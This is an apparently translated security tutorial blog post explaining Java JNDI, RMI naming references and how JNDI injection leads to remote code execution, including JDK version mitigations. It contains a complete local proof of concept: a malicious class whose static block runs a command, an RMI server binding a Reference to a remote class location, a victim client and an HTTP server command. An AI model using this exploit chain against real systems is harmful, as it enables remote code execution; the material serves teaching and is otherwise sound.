[JNDI security] Husband, what is JNDI injection?

0x01 Preface

We mentioned a major feature of rmi-dynamic class loading in the last chapter "How to attack rmi". The jndi injection is the use of dynamic class loading to complete the attack. Before talking about jndi injection, let’s take a look at the basics of jndi

0x02 What is jndi

The full name of jndi is Java Naming and Directory Interface (java naming and directory interface), a standard Java naming system interface provided by SUN. JNDI provides a unified client API through the realization of different service provision interfaces (SPI). The manager maps the JNDI API to a specific naming service and directory system, so that Java applications can interact with these naming services and directory services, as shown in the figure

Insert picture description here

The naming service and the directory service are mentioned above, what are they?

Naming service

The naming service is a simple key-value pair binding, and the value can be retrieved by the key name. RMI is a typical naming service

Directory Service

Directory service is an extension of naming service. The difference between it and the naming service is that it can retrieve objects through object attributes. It may not be easy to understand. Let's take an example: For example, if you want to find someone in a school, you will pass: Grade -> Class ->Search by name. Grade, class, and name are the attributes of a person. This hierarchical relationship is very similar to a directory relationship, so this method of storing objects is called a directory service. LDAP is a typical directory service. We haven't touched this yet, and we will mention it later.

In fact, after careful consideration, you will feel that the essence of the naming service and the directory service are the same. They both use keys to find objects, but the keys of the directory service are more flexible and more complicated.

At the beginning, many people will be confused by the words jndi and rmi, and many articles mentioned that you can use jndi to call rmi, which makes people more faint. As long as we know that jndi re-encapsulates various logics for accessing directory services , that is, the code we need to write to access rmi and ldap in the past is very different, but with the jndi layer, we can use jndi. Easily access rmi or ldap services, so that the code implementation for accessing different services is basically the same. A picture is worth a thousand words:

Insert picture description here

It can be seen from the figure that jndi only passed a key foo when accessing rmi, and then the rmi server returned an object. When accessing a directory service room like ldap, the passed string is more complicated and contains multiple key values. Yes, these key-value pairs are the attributes of the object, and LDAP will determine which object to return based on these attributes.

0x03 jndi code implementation

The binding and search methods are provided in JNDI:

  • bind: bind the name to the object;
  • lookup: retrieve the executed object by name;

The following demo will demonstrate how to use jndi to access rmi services:

First implement an interface

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    
    
    public String sayHello(String name) throws RemoteException;
}

Then create a class to implement the above interface, an instance of this class will be bound to the rmi registry

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    
    
    protected IHelloImpl() throws RemoteException {
    
    
        super();
    }

    @Override
    public String sayHello(String name) throws RemoteException {
    
    
        return "Hello " + name;
    }
}

The above are all simple creation of a remote object, which is the same as the requirement of rmi to create a remote object. Below we create a class to implement the binding of the object and the call of the remote object

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    
    
    public static void main(String[] args) throws Exception{
    
    

        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        // 创建初始化环境
        Context ctx = new InitialContext(env);

        // 创建一个rmi映射表
        Registry registry = LocateRegistry.createRegistry(1099);
        // 创建一个对象
        IHello hello = new IHelloImpl();
        // 将对象绑定到rmi注册表
        registry.bind("hello", hello);

        //  jndi的方式获取远程对象
        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
        // 调用远程对象的方法
        System.out.println(rhello.sayHello("axin"));
    }
}

Successfully call the sayHello method of the remote object

Insert picture description here

Since the above code writes the server and the client together, it is not so clear. I have seen many articles in the JNDI factory initialization step. The operation is divided into the server. I think it is wrong. Configure jndi factory and jndi The url and port should be a matter of the client.

ps: You can compare the difference between the rmi demo in the previous chapters and the jndi demo here to access remote objects to deepen your understanding

0x04 JNDI dynamic protocol conversion

Our demo above configures the initialization environment of jndi in advance, and also configures Context.PROVIDER_URL. This property specifies where to load classes that are not available locally. Therefore, it is no problem
ctk.lookup("rmi://localhost:1099/hello")to change this code in the above demo ctk.lookup("hello").

So what does dynamic protocol conversion mean? In fact, even if the Context.PROVIDER_URL property is configured in advance, when we call the lookup() method, if the parameter of the lookup method is a uri address like in the demo, then the client will go to the uri specified by the lookup() method parameter Load the remote object instead of loading the object at the address set by Context.PROVIDER_URL (if you are interested, you can follow the source code and see the specific implementation).

It is precisely because of this feature that when the parameters of the lookup() method are controllable, the attacker can control the victim to load the malicious class specified by the attacker by providing a malicious URL address.

But do you think that the attack can be completed by directly letting the victim go to the rmi registry specified by the attacker and load a class back? It won’t work, because the victim does not have the class file of the class provided by the attacker locally, so the method cannot be called. So we need to use the things we will mention next

0x05 JNDI Naming Reference

The Reference class represents references to objects that exist outside the naming/directory system. If the object on the remotely obtained RMI service is the Reference class or its subclasses, when the client obtains the remote object stub instance, it can load the class file from other servers for instantiation.

In order to store Object objects under Naming or Directory services, Java provides Naming Reference function. Objects can be stored under Naming or Directory services through binding Reference, such as RMI, LDAP, etc.

When using Reference, we can directly pass the object into the construction method. When it is called, the method of the object will be triggered. There are several key attributes when creating a Reference instance:

  • className: the class name used for remote loading;
  • classFactory: The name of the class that needs to be instantiated in the loaded class;
  • classFactoryLocation: The address of the remote loading class, the address that provides the classes data can be file/ftp/http and other protocols;

Of course, to bind an object to the rmi registry, this object needs to inherit UnicastRemoteObject, but Reference does not inherit it, so we also need to encapsulate it, wrap the Reference instance object with ReferenceWrapper, so that it can be bound to The rmi registry has been accessed remotely. The demo is as follows:

// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了),第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

When a client obtains a remote object through lookup ("refObj"), it obtains a Reference stub (Stub). Because it is a Reference stub, the client will check whether the class refClassName exists in the local classpath, if not If it exists, go to the specified URL (http://axin.com:6666/refClassName.class) to dynamically load and call the parameterless constructor of insClassName , so malicious code can be written in the constructor. Of course, in addition to writing the exploit code in the parameterless constructor, you can also use the static code block of java to write malicious code, because the code of the static code block will be executed immediately after the class file is loaded, and only once.

To learn more about static code blocks, refer to: https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html

0x06 JNDI injection

jndi injection principle

It is to bind the malicious Reference class in the RMI registry, where the malicious reference points to the remote malicious class file, when the user is externally controllable in the lookup() function parameter of the JNDI client or the classFactoryLocation parameter of the Reference class construction method is externally controllable , Will make the user's JNDI client access the malicious Reference class bound in the RMI registry, thereby loading the malicious class file on the remote server to execute locally on the client, and finally realize the JNDI injection attack leading to remote code execution

Insert picture description here

Use conditions of jndi injection
  • The parameters of the client's lookup() method are controllable
  • When the server uses Reference, the classFactoryLocation parameter is controllable~

The above two are possible vulnerabilities when writing programs (any one is sufficient). In addition, the jdk version also plays a vital role in jndi injection, and different attacks are loud on the jdk version The requirements are also inconsistent, here are all listed:

  • After JDK 6u45, 7u21: The default value of java.rmi.server.useCodebaseOnly is set to true. When the value is true, automatic loading of remote class files will be disabled, and class files will be loaded only from the path specified by CLASSPATH and java.rmi.server.codebase of the current JVM. Use this attribute to prevent the client VM from dynamically loading classes from other Codebase addresses, increasing the security of RMI ClassLoader.

  • After JDK 6u141, 7u131, 8u121: Added com.sun.jndi.rmi.object.trustURLCodebase option, the default is false, which prohibits the option of using remote codebase for RMI and CORBA protocols, so RMI and CORBA are no longer available on the above JDK versions The vulnerability is triggered, but JNDI injection attacks can still be carried out by specifying the URI as the LDAP protocol.

  • After JDK 6u211, 7u201, 8u191: Added the option com.sun.jndi.ldap.object.trustURLCodebase, which is false by default, which prohibits the option of using remote codebase for the LDAP protocol, and also bans the attack path of the LDAP protocol.

jndi injection demo
  • Create a malicious object
import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

public class EvilObj {
    
    
    public static void exec(String cmd) throws IOException {
    
    
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
    
    
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
    
    
        return null;
    }

    static {
    
    
        try{
    
    
            exec("gnome-calculator");
        }catch (Exception e){
    
    
            e.printStackTrace();
        }
    }
}

You can see here that the static code block is used to execute the command

  • Create rmi server, bind malicious Reference to rmi registry
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    
    
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    
    
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:6666/";
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("EvilObj", "EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }

}
  • Create a client (victim)
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    
    
    public static void main(String[] args) throws NamingException {
    
    
        Context context = new InitialContext();
        context.lookup("rmi://localhost:1099/evil");
    }
}

You can see that the parameters of the lookup method here point to the malicious rmi address I set.

Then compile the project first, generate the class file, and then start a simple HTTP Server with python in the class file directory:

python -m SimpleHTTPServer 6666

Executing the above command will run an HTTP Server on port 6666 in the current directory:

Insert picture description here

Then run the Server side and start the rmi registry service

Insert picture description here

Finally run the client (victim):

Insert picture description here

The calculator pops up successfully. Note that the jdk version I used here is jdk1.7.0_80, the following is a process of dynamic call by rmi

Insert picture description here

0x07 other

Put some reference articles:

https://wulidecade.cn/2019/03/25/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5%E4%B8%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/

https://xz.aliyun.com/t/6633#toc-5

https://paper.seebug.org/417/

https://security.tencent.com/index.php/blog/msg/131

In the next chapter, let’s take a look at the deserialization of fastjson, which will use jndi as an attack technique.

+v see more

Insert picture description here

Guess you like

Origin blog.csdn.net/he_and/article/details/105586691